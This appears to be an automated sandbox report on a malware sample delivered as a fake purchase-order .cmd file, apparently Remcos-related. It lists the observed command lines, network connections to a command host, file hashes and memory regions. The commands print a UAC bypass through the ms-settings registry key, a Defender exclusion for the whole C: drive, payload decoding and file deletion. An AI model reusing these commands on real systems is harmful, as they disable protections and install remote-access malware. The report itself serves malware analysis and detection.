C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Purchase Order is approved20240509.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\Libraries\sppsvc.pif

C:\Users\Public\Libraries\sppsvc.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Kpeyvroh.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
BE 104.68.66.114:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 114.66.68.104.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 q3y39q.dm.files.1drv.com udp
US 13.107.42.12:443 q3y39q.dm.files.1drv.com tcp
US 8.8.8.8:53 www.pentegrasystem.com udp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
HU 83.137.157.105:9231 www.pentegrasystem.com tcp
US 8.8.8.8:53 105.157.137.83.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
HU 83.137.157.105:9231 www.pentegrasystem.com tcp
HU 83.137.157.105:9231 www.pentegrasystem.com tcp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pntew4um.qu4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3260-33-0x00000181D8A70000-0x00000181D8A92000-memory.dmp

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\sppsvc.rtf

MD5 0240edf5476c29058868d6c55171839e
SHA1 820845d637f7f3b97ce4c30e52db278dda37f955
SHA256 91b68a0e42f4ebeadd18b228353953cb34e1a86f7b88ac86895cac1be9c1ca5c
SHA512 9a0ce8ea056e2deb1b0fc0aa24c27298c27fa564ef51f122b2c142a776cf20a839b641d8b502c566f67172ee8e42009ae081fcbc8a4a9fc7c4c6939b0e57832e

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

C:\Users\Public\Libraries\sppsvc.pif

MD5 5754d97e3293f5c2192a23ac5ab7670e
SHA1 fe32ef084fcb4fc4ad3ecdfa9662ac3002883928
SHA256 bdef908222a5df808151d1d383101e2049d3d995e564dd6d9345214fe3198800
SHA512 2c8c15c75d28e28499eecc9c8e8dab7b1c2507c9ced1bddd9ccb6998bc1b2f0cfbf2c763e6b98c8fba51e683585bbacd791b0740a040977c8788dedb4d433c50

memory/208-75-0x0000000000400000-0x00000000004D5000-memory.dmp

memory/208-84-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-82-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-85-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-87-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-88-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-89-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-90-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-93-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-100-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-99-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-101-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 cd3e29a70e688aa35b65e371be096751
SHA1 89f644b3b533d60d7ce15962426a60312fb51b81
SHA256 ca17f8efb2c00d814014616923c99af8cfc55de7cfb1ea9e80ff79961c30bc64
SHA512 72b648e5ea9ccb0e5cbc23482ca06f5fb664d4b353d1abdd57922e446e2e5108962660edd80981de33217d965ce0068394365cec5d1b6ff2a3a87581faec4025

memory/208-107-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-108-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-119-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-118-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-141-0x000000002D8B0000-0x000000002E8B0000-memory.dmp

memory/208-140-0x000000002D8B0000-0x000000002E8B0000-memory.dmp